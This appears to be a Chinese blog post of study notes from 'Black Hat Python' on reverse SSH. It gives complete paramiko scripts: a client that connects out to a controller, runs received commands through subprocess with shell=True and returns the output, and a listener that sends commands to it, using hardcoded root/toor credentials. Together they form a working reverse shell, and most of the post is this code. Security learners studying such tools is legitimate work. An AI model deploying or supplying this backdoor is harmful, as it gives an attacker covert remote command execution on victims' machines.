1. 程式人生 > >python黑帽子學習筆記(二)——反向ssh

python黑帽子學習筆記(二)——反向ssh

1.反向ssh。
通常情況下,在使用SSH的時候,你可以使用SSH客戶端連線SSH伺服器,但是由於Windows本身不一定裝有SSH服務端,所以我們需要反向將命令從SSH服務端傳送給SSH客戶端。
2.程式碼。

#!/usr/bin/python
# -*- coding: UTF-8 -*-
import threading
import paramiko
import subprocess
def ssh_command(ip,user,passwd,command):
    client = paramiko.SSHClient()
    client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    client.connect(ip, username=user, password=passwd)
    ssh_session = client.get_transport().open_session()
    if ssh_session.active:
        ssh_session.send(command)
        print(ssh_session.recv(1024))
        while True:
            command = ssh_session.recv(1024)        #ssh伺服器獲取命令
            try:                                                              # 異常處理當try語句沒問題時執行try語句反之跳轉至except語句
                cmd_output = subprocess.check_output(command,shell=True)
                ssh_session.send(cmd_output)         #向伺服器傳送命令執行的結果
            except Exception,e:                                  
                ssh_session.send(str(e))
        client.close()
    return
ssh_command('127.0.0.1','root','toor','ClientConnected')

最初的幾行程式碼和上一篇的SSH客戶端類似,從while Ture:開始出現新的內容!
接下來我們來建立SSH伺服器。

#!/usr/bin/python
# -*- coding: UTF-8 -*-
import socket
import paramiko
import threading
import sys
 
# 使用 Paramiko示例檔案的金鑰
host_key = paramiko.RSAKey(filename='C:\Users\lenovo\.ssh\id_rsa') #你獲取的金鑰所在的路徑
 
class Server(paramiko.ServerInterface):
    def __init__(self):
        self.event = threading.Event()
    def check_channel_request(self, kind, chanid):
        if kind == 'session':
            return paramiko.OPEN_SUCCEEDED
        return paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED
    def check_auth_password(self, username, password):
        if (username == 'root') and (password == 'toor'):
            return paramiko.AUTH_SUCCESSFUL
        return paramiko.AUTH_FAILED
 
server = sys.argv[1]
ssh_port = int(sys.argv[2])
try:
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)    #TCP socket
    #這裡value設定為1,表示將SO_REUSEADDR標記為TRUE,作業系統會在伺服器socket被關閉或伺服器程序終止後馬上釋放該伺服器的埠,否則作業系統會保留幾分鐘該埠。
    sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    sock.bind((server, ssh_port))   #繫結ip和埠
    sock.listen(100)    #最大連線數為100
    print '[+] Listening for connection ...'
    client, addr = sock.accept()
except Exception, e:
    print '[-] Listen failed: ' + str(e)
    sys.exit(1)
print '[+] Got a connection!'

try:
    bhSession = paramiko.Transport(client)
    bhSession.add_server_key(host_key)
    server = Server()
    try:
        bhSession.start_server(server=server)
    except paramiko.SSHException, x:
        print("[-] SSH negotiation failed.")
    chan = bhSession.accept(20)
    print("[+] Authenticated!")
    print(chan.recv(1024))
    chan.send("Welcome to bh_ssh")
    while True:
        try:
            command = raw_input("Enter command: ").strip('\n')
            if command != 'exit':
                chan.send(command)
                print(chan.recv(1024) + '\n')
            else:
                chan.send('exit')
                print("exiting")
        except KeyboardInterrupt:
                bhSession.close()
except Exception,e:
    print("[-] Caught exception:" + str(e))
    try:
        bhSession.close()
    except:
        pass
    sys.exit(1)

這個程式碼中我們使用了Paramiko例項檔案包含的SSH金鑰,在開啟一個套接字監聽,之後使用SSH管道並配置認證模式。當一個客戶端認證併發回ClientConnected訊息,我們輸入到服務端的任何命令將傳送給客戶端並在客戶端上執行,輸出結果將返回給服務端。
PS:這裡就如何獲取獲取金鑰做一說明。你需要在cmd中執行以下命令,如圖獲取金鑰。

ssh-keygen -t rsa 

在這裡插入圖片描述
下面是在主機上的測試:
在這裡插入圖片描述
在這裡插入圖片描述
你可以看到首先我們運行了服務端,之後使用客戶端連線。客戶端連線成功後我們執行了一條命令。雖然客戶端看不到任何情況但是執行命令的結果已經發送給服務端了!